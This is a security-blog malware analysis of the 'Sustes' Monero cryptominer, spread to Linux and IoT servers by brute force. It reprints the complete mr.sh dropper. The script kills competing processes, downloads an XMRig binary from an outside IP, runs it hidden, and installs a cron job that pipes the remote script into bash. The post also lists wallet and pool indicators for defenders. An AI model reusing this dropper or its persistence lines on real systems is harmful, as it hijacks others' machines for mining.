Sustes Malware: CPU for Monero

Pierluigi Paganini September 20, 2018

Sustes Malware doesn’t infect victims by itself, but it is spread via brute-force activities with special focus on IoT and Linux servers.

Today I’d like to share a simple analysis based on a fascinating threat that I like to call Sustes (you will see name genesis in a bit).

Everybody knows Monero cryptocurrency and probably everybody knows that it has built upon privacy, by meaning It’s not that simple to figure out Monero wallet balance. Sustes (Mr.sh) is a nice example of Pirate-Mining and even if it’s hard to figure out its magnitude, since the attacker built-up private pool-proxies, I believe it’s interesting to fix wallet address in memories and to share IoC for future Protection. So, let’s have a closer look at it.
sustes
Monero stops you trying to check wallet balance
Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over the exploitation and brute-force activities with special focus on IoT and Linux servers.
The initial infection stage comes from a custom wget (http:\/\/192[.]99[.]142[.]226[:]8220\/mr.sh ) directly on the victim machine followed by a simple /bin/bash mr.sh.
The script is a simple bash script which drops and executes additional software with a bit of spicy. The following code represents the mr.sh content as a today (ref. blog post date).
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chmod 777 /var/tmp/sustes
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9
DIR="/var/tmp"
if [ -a "/var/tmp/sustes" ]
then
    if [ -w "/var/tmp/sustes" ] && [ ! -d "/var/tmp/sustes" ]
    then
        if [ -x "$(command -v md5sum)" ]
        then
            sum=$(md5sum /var/tmp/sustes | awk '{ print $1 }')
            echo $sum
            case $sum in
                c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                    echo "sustes OK"
                ;;
                *)
                    echo "sustes wrong"
                    pkill -f wc.conf
                    pkill -f sustes
                    sleep 4
                ;;
            esac
        fi
        echo "P OK"
    else
        DIR=$(mktemp -d)/var/tmp
        mkdir $DIR
        echo "T DIR $DIR"
    fi
else
    if [ -d "/var/tmp" ]
    then
        DIR="/var/tmp"
    fi
    echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/sustes" ]
then
    DIR=$(mktemp -d)/var/tmp
    mkdir $DIR
    echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
    WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
    WGET="wget -O";
fi
f2="192.99.142.226:8220"

downloadIfNeed()
{
    if [ -x "$(command -v md5sum)" ]
    then
        if [ ! -f $DIR/sustes ]; then
            echo "File not found!"
            download
        fi
        sum=$(md5sum $DIR/sustes | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "sustes OK"
            ;;
            *)
                echo "sustes wrong"
                sizeBefore=$(du $DIR/sustes)
                if [ -s /usr/bin/curl ];
                then
                    WGET="curl -k -o ";
                fi
                if [ -s /usr/bin/wget ];
                then
                    WGET="wget --no-check-certificate -O ";
                fi
                #$WGET $DIR/sustes https://transfer.sh/wbl5H/sustes
                download
                sumAfter=$(md5sum $DIR/sustes | awk '{ print $1 }')
                if [ -s /usr/bin/curl ];
                then
                    echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustes` > $DIR/var/tmp.txt
                fi
            ;;
        esac
    else
        echo "No md5sum"
        download
    fi
}

download() {
    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustes3 | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "sustes OK"
                cp $DIR/sustes3 $DIR/sustes
            ;;
            *)
                echo "sustes wrong"
                download2
            ;;
        esac
    else
        echo "No md5sum"
        download2
    fi
}

download2() {
    if [ `getconf LONG_BIT` = "64" ]
    then
        $WGET $DIR/sustes http://192.99.142.226:8220/xm64
    fi

    if [ -x "$(command -v md5sum)" ]
    then
        sum=$(md5sum $DIR/sustes | awk '{ print $1 }')
        echo $sum
        case $sum in
            c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc)
                echo "sustes OK"
                cp $DIR/sustes $DIR/sustes3
            ;;
            *)
                echo "sustes wrong"
            ;;
        esac
    else
        echo "No md5sum"
    fi
}

judge() {
    if [ ! "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110'|grep 'ESTABLISHED'|grep -v grep)" ];
    then
        ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
	      do
	      kill -9 $procid
        done
        downloadIfNeed
        touch /var/tmp/123
        pkill -f /var/tmp/java
        pkill -f w.conf
        chmod +x $DIR/sustes
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
       echo "Running"
    fi
}

judge2() {
    if [ ! "$(ps -fe|grep '/var/tmp/sustes'|grep 'wc.conf'|grep -v grep)" ];
    then
        downloadIfNeed
        chmod +x $DIR/sustes
        $WGET $DIR/wc.conf http://$f2/wt.conf
        nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &
        sleep 5
    else
        echo "Running"
    fi
}

if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
    judge2
else
    judge
fi

if crontab -l | grep -q "192.99.142.226:8220"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    LDR="wget -q -O -"
    if [ -s /usr/bin/curl ];
    then
        LDR="curl";
    fi
    if [ -s /usr/bin/wget ];
    then
        LDR="wget -q -O -";
    fi
	(crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 192.99.142.232
chmod 777 /var/tmp/sustes
crontab -l | sed '/185.222.210.59/d' | crontab -
view rawmr hosted with ❤ by GitHub

An initial connection-check wants to take down unwanted software on the victim side (awk ‘{print $7}’ | sed -e “s/\/.*//g”) taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (kill -9). The extracted attacker’s unwanted communications are the following ones:

  • 103[.]99[.]115[.]220  (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
  • 104[.]160[.]171[.]94 (Org:  Sharktech  Country: USA)
  • 121[.]18[.]238[.]56 (Org:  ChinaUnicom,  Country: CN)
  • 170[.]178[.]178[.]57 (Org:  Sharktech  Country: USA)
  • 27[.]155[.]87[.]59 (Org:  CHINANET-FJ  Country: CN)
  • 52[.]15[.]62[.]13 (Org:   Amazon Technologies Inc.,  Country: USA)
  • 52[.]15[.]72[.]79 (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
  • 91[.]236[.]182[.]1 (Org:  Brillant Auto Kft,  Country: HU)
A second check comes from “command lines arguments”. Sustes “greps” to search for configuration files (for example: wc.conf and wq.conf and wm.conf) then it looks for software names such as sustes (here we go !) and kills everything matches the “grep”. The script follows by assigning to f2 variable the dropping website (192[.]99[.]142[.]226:8220) and later-on it calls “f2” adding specific paths (for example: /xm64 and wt.conf) in order to drop crafted components. MR.sh follows by running the dropped software with configuration file as follows:
nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &

MR.SH ends up by setting a periodic crontab action on dropping and executing itself by setting up:

crontab -l 2>/dev/null; echo “* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1”

Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (W1, W2, W3) were found.

  • W1: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
  • W2: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
  • W3: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
Quick analyses on the used Monero pools took me to believe the attacker built up a custom  and private (deployed on private infrastructures) Monero pool/proxies, for such a reason I believe it would be nice to monitor and/or block the following addresses:
  • 158[.]69[.]133[.]20 on port 3333
  • 192[.]99[.]142[.]249 on port 3333
  • 202[.]144[.]193[.]110 on port 3333

The downloaded payload is named sustes and it is a basic XMRIG, which is a well-known opensource miner. In this scenario, it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.

sustes
XMRIG prove 1

Many people are currently wondering what is the sustes process which is draining a lot of PC resources (for example: herehere and here ) …. now we have an answer: it’s an unwanted Miner. :D.

Hope you had fun

Further details including the IoC area available at:

https://marcoramilli.blogspot.com/2018/09/sustes-malware-cpu-for-monero.html

About the author: Marco Ramilli, Founder of Yoroi

I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.

 

I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans

[adrotate banner=”9″] [adrotate banner=”12″]

Edited by Pierluigi Paganini

(Security Affairs – Sustes, cryptocurrency malware)

[adrotate banner=”5″]

[adrotate banner=”13″]



you might also like

leave a comment